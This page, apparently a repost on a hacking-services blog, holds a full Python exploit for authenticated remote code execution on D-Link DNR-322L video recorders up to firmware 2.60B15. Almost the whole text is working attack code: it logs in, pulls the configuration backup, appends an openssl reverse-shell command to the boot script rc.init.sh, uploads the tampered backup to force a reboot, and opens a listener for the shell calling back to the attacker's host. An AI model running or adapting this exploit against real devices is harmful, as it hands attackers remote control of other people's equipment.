Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863107587

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution
# Date: 13.09.2022
# Exploit Author: luka <luka@lukasec.ch>
# Exploit Writeup: https://lukasec.ch/posts/dlink_dnr322.html
# Vendor Homepage: https://dlink.com
# Vendor Advisory: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10305
# Software Link: http://legacyfiles.us.dlink.com/DNR-322L/REVA/FIRMWARE
# Version: <= 2.60B15
# Tested on: Debian, Windows 10

"""
# Vulnerability
Inside the configuration backup from "Maintenance/System/Configuration Settings" is the bash script "rc.init.sh". The device does not check the integrity of a restored configuration backup which enables editing of set bash script. This bash script will be executed when the device boots. 

# Usage
exploit.py [-h] -U USERNAME [-P PASSWORD] -t TARGET -l LHOST -p LPORT

options:
  -h, --help            show this help message and exit
  -U USERNAME, --username USERNAME
                        Username, ex: admin
  -P PASSWORD, --password PASSWORD
                        Password for the specified user
  -t TARGET, --target TARGET
                        IP of the target, ex: 192.168.99.99
  -l LHOST, --lhost LHOST
                        IP for the reverse shell to connect back to, ex: 123.123.123.123
  -p LPORT, --lport LPORT
                        Port for the reverse shell to connect back to, ex: 8443
"""

import argparse, socket, requests, base64, urllib, os, shutil, tarfile, random, string
from ipaddress import ip_address

args = argparse.ArgumentParser()

args.add_argument(
    "-U",
    "--username",
    type=str,
    required=True,
    dest="username",
    help="Username, ex: admin",
)

args.add_argument(
    "-P",
    "--password",
    type=str,
    required=False,
    dest="password",
    help="Password for the specified user",
)

args.add_argument(
    "-t",
    "--target",
    type=str,
    required=True,
    dest="target",
    help="IP of the target, ex: 192.168.99.99",
)

args.add_argument(
    "-l",
    "--lhost",
    type=str,
    required=True,
    dest="lhost",
    help="IP for the reverse shell to connect back to, ex: 123.123.123.123",
)

args.add_argument(
    "-p",
    "--lport",
    type=int,
    required=True,
    dest="lport",
    help="Port for the reverse shell to connect back to, ex: 8443",
)

args = args.parse_args()

# base64 + url encode string
# returns string
def b64_url_encode(data):
    enc = data.encode("utf-8")
    encB = base64.b64encode(enc)
    encUrl = urllib.parse.quote(str(encB, "utf-8"))
    return encUrl


# since user input is always unsafe, test IPs
try:
    ip_address(args.target)
except Exception:
    print("[!] Target IP is not a valid IP address")
    exit(1)
try:
    ip_address(args.lhost)
except Exception:
    print("[!] Reverse shell IP is not a valid IP address")
    exit(1)

# check if target is online
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2)
    # hardcoded http, change if needed
    s.connect((args.target, 80))
    s.close()
except Exception:
    print("[!] Target is not online")
    exit(1)
print("[+] Target is online")

# login param
authUrl = "http://" + args.target + "/cgi-bin/login_mgr.cgi"
authHeaders = {"content-type": "application/x-www-form-urlencoded"}
authCheckCmd = "cmd=ui_check_wto"

session = requests.Session()

# if password is empty supply dont supply anything
if not args.password:
    authBody = (
        "cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="
        + args.username
        + "&pwd=&ssl_port=443&f_login_type=0&f_url="
    )
else:
    authBody = (
        "cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="
        + args.username
        + "&pwd="
        + b64_url_encode(args.password)
        + "&ssl_port=443&f_login_type=0&f_url="
    )

try:
    # login
    reqLogin = session.post(authUrl, headers=authHeaders, data=authBody)
    # check if successful
    reqCheck = session.post(authUrl, headers=authHeaders, data=authCheckCmd)

    if "success" in reqCheck.text:
        print("[+] Login successful")
    else:
        print("[!] Error during login, check credentials")
        exit(1)
except Exception as error:
    print(error)
    print("[!] Error during login, check credentials")
    exit(1)

# download backup
print("[*] Downloading backup")
if os.path.exists("backup_clean"):
    os.remove("backup_clean")

# download param
downloadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"
downloadHeaders = {"content-type": "application/x-www-form-urlencoded"}
downloadCmd = "cmd=cgi_backup_conf"

try:
    reqBackup = session.post(downloadUrl, headers=downloadHeaders, data=downloadCmd)
except Exception as error:
    print(error)
    print("[!] Error while downloading backup")
    exit(1)

# saving to disk
try:
    f = open("backup_clean", "wb")
    f.write(reqBackup.content)
    f.close()

    if not os.path.exists("backup_clean"):
        print("[!] Error while saving backup")
        exit(1)
except Exception as error:
    print(error)
    print("[!] Error while saving backup")
    exit(1)
print("[+] Download successful")

# unpack backup (tar.gz file)
try:
    config = tarfile.open("backup_clean")
    config.extractall()
    config.close()
except Exception as error:
    print(error)
    print("[!] Error while unpacking backup")
    exit(1)

# inject stuff into startup script
try:
    bashscript = open("backup/rc.init.sh", "a")
    # revshell with openssl
    payload = (
        "\n(( sleep 10; rm -f /tmp/lol; mknod /tmp/lol p; cat /tmp/lol | /bin/ash -i 2>&1 | openssl s_client -quiet -connect %s:%s >/tmp/lol & ) & )\n"
        % (args.lhost, args.lport)
    )
    bashscript.write(payload)
    # also start a telnet deamon (has same passwd as web)
    # bashscript.write("utelnetd -d")
    bashscript.close()
except Exception as error:
    print(error)
    print("[!] Error while creating malicious backup")
    exit(1)
print("[+] Created malicious backup")


# re pack file
try:
    configInj = tarfile.open("backup_injected", "w:gz")
    configInj.add("backup")
    configInj.close()
    # remove unpacked folder
    shutil.rmtree("backup", ignore_errors=False, onerror=None)
except Exception as error:
    print(error)
    print("[!] Error while re-packing malicious backup")
    exit(1)

# upload
print("[*] Uploading malicious backup")
uploadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"
uploadHeaders = {
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryhellothere"
}

configInj = open("backup_injected", "rb")
tardata = configInj.read().decode("latin-1")

uploadBody = (
    '------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="cmd"\r\n\r\ncgi_restore_conf\r\n------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="file"; filename="backup"\r\nContent-Type: application/x-gzip\r\n\r\n'
    + tardata
    + "\r\n------WebKitFormBoundaryhellothere--\r\n"
)

reqUpload = session.post(uploadUrl, headers=uploadHeaders, data=uploadBody)

if "web/dsk_mgr/wait.html" in reqUpload.text:
    print("[+] Upload successful, target will reboot now")
else:
    print("[!] Error while uploading malicious backup")
    exit(1)


# creating listener
print("[*] Started listener, waiting for the shell to connect back")
print("[*] When you are done kill the shell with Ctrl+C")
# random name
randInt = "".join(random.choice(string.ascii_lowercase) for i in range(10))

# generate the cert and the key for the openssl listener
os.system(
    'openssl req -x509 -newkey rsa:4096 -keyout /tmp/%s_key.pem -out /tmp/%s_cert.pem -days 365 -nodes -subj "/CN=example.com" 2> /dev/null'
    % (randInt, randInt)
)
# create an openssl listener
os.system(
    "openssl s_server -quiet -key /tmp/%s_key.pem -cert /tmp/%s_cert.pem -port %s"
    % (randInt, randInt, args.lport)
)

exit(0)